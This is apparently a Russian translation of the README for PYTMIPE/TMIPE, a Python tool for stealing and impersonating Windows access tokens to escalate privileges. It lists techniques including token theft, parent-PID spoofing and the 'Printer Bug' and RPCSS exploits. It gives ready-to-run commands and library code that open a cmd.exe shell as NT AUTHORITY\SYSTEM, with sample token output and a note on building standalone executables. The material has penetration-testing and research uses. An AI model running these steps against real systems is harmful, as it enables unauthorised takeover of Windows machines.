
Библиотека Python и клиент для манипуляций с токенами и олицетворения для повышения привилегий в Windows
PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) — это библиотека Python 3 для манипуляции токенами Windows и управления имитацией с целью получения дополнительных привилегий в Windows. TMIPE — это клиент Python 3, который использует библиотеку pytmipe.
Слайды «Манипуляция токенами Windows, имитация и повышение привилегий» (английский): ссылка
Статья в MISC 112 (французский): ссылка
| Метод | Необходимые привилегии | ОС (не полный список) | Прямая цель (макс.) |
|---|---|---|---|
| Создание токена и имитация | имя пользователя и пароль | Все | локальный администратор |
| Имитация/кража токена | SeDebugPrivilege | Все | nt authority\system |
| Подмена родительского PID (наследование дескрипторов) | SeDebugPrivilege | >= Vista | nt authority\system |
| Служба (SCM) | Локальный администратор (и высокий уровень целостности, если включён UAC) | Все | nt authority\system или учётная запись домена |
| Событие WMI | Локальный администратор (и высокий уровень целостности, если включён UAC) | Все | nt authority\system |
| LPE «Printer Bug» | SeImpersonatePrivilege (учётная запись службы) | Windows 8.1, 10 и Server 2012R2/2016/2019 | nt authority\system |
| LPE службы RPCSS | SeImpersonatePrivilege (учётная запись службы) | Windows 10 и Server 2016/2019 | nt authority\system |
Следующий неполный список показывает некоторые функции, реализованные в библиотеке pytmipe:
В основном используется ctypes. Многие функции pywin32 были переработаны в pytmipe, чтобы избежать использования pywin32 для лучшей переносимости. Однако модуль планировщика задач всё ещё использует pywin32 (точнее pythoncom) из-за нехватки времени. Все остальные модули используют только ctypes.
Для клиента на Python (с именем tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Выберите основную команду
cangetadmin Проверить, может ли пользователь получить доступ администратора
printalltokens Вывести все токены, доступные из текущего потока
printalltokensbyname
Вывести все токены, доступные из текущего потока, по имени учётной записи
printalltokensbypid Вывести все токены, доступные из текущего потока, по PID
printsystemtokens Вывести все системные токены, доступные из текущего
searchimpfirstsystem
Найти и имитировать первый системный токен
imppid Имитировать первичный токен выбранного PID и попытаться запустить cmd.exe
imptoken Имитировать первичный токен или токен имитации выбранного PID/дескриптора и попытаться запустить cmd.exe
printerbug Эксплуатировать «printer bug» для получения системной оболочки
rpcss Эксплуатировать «rpcss» для получения системной оболочки
spoof Подмена родительского PID («наследование дескрипторов»)
impuser Создать процесс с учётными данными с имитацией
runas Создать процесс с учётными данными как runas
scm Создать процесс с помощью Service Control Manager
optional arguments:
-h, --help Показать это справочное сообщение и выйти
--version Показать номер версии программы и выйти
Для библиотеки на Python (с именем pytmipe) см. исходный код и примеры. Обычно я хорошо документирую исходный код... Большинство функций документированы.
Для примеров с pyinstaller и автономных файлов см. папки src/examples/.
Если вы хотите узнать, как использовать библиотеку pytimpe, смотрите папку src/examples с многочисленными примерами.
Для имитации первого системного токена и получения приглашения cmd.exe от имени system из клиента на Python (tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
Для того же самого с использованием библиотеки pytmipe напрямую см. src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
Это откроет приглашение cmd.exe от имени system, если у текущего пользователя Windows есть необходимые права.
Разумеется, из этого исходного кода вы можете создать автономный exe-файл с помощью pyinstaller.
Для получения первичных токенов и токенов имитации, используемых в текущем процессе:
python.exe tmipe.py printalltokens --current --full --linked
Вывод:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
Для получения всех токенов, доступных из текущего потока, сгруппированных по PID, когда возможна только имитация:
python.exe tmipe.py printalltokensbypid --imp-only
Вывод:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
Если вы хотите выполнить эту операцию с помощью библиотеки pytmipe, это тоже легко:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
Вы можете имитировать выбранный токен.
Первый шаг: получить все токены по вашим фильтрам (системные токены и токены, которые можно имитировать текущим потоком):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
Вывод:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
Этот предыдущий вывод показывает токен имитации, расположенный в PID 2288 (дескриптор 118), который имеет уровень целостности system. Можно имитировать этот конкретный токен следующей командой:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
Эта предыдущая команда открывает cmd.exe от имени nt authority\system.
То же самое можно сделать с библиотекой pytmipe. Следующий исходный код имитирует первый доступный системный токен, выводит действующий токен и прекращает имитацию:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("Не найден ни один токен для имитации")
else:
pid = list(allTokens.keys())[0] #используем первый токен первого PID, возвращённого в 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Действующий токен для текущего потока после имитации:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Действующий токен для текущего потока (имитация завершена):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Если вы хотите поддержать мою работу пожертвованием, буду очень благодарен:
Через BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf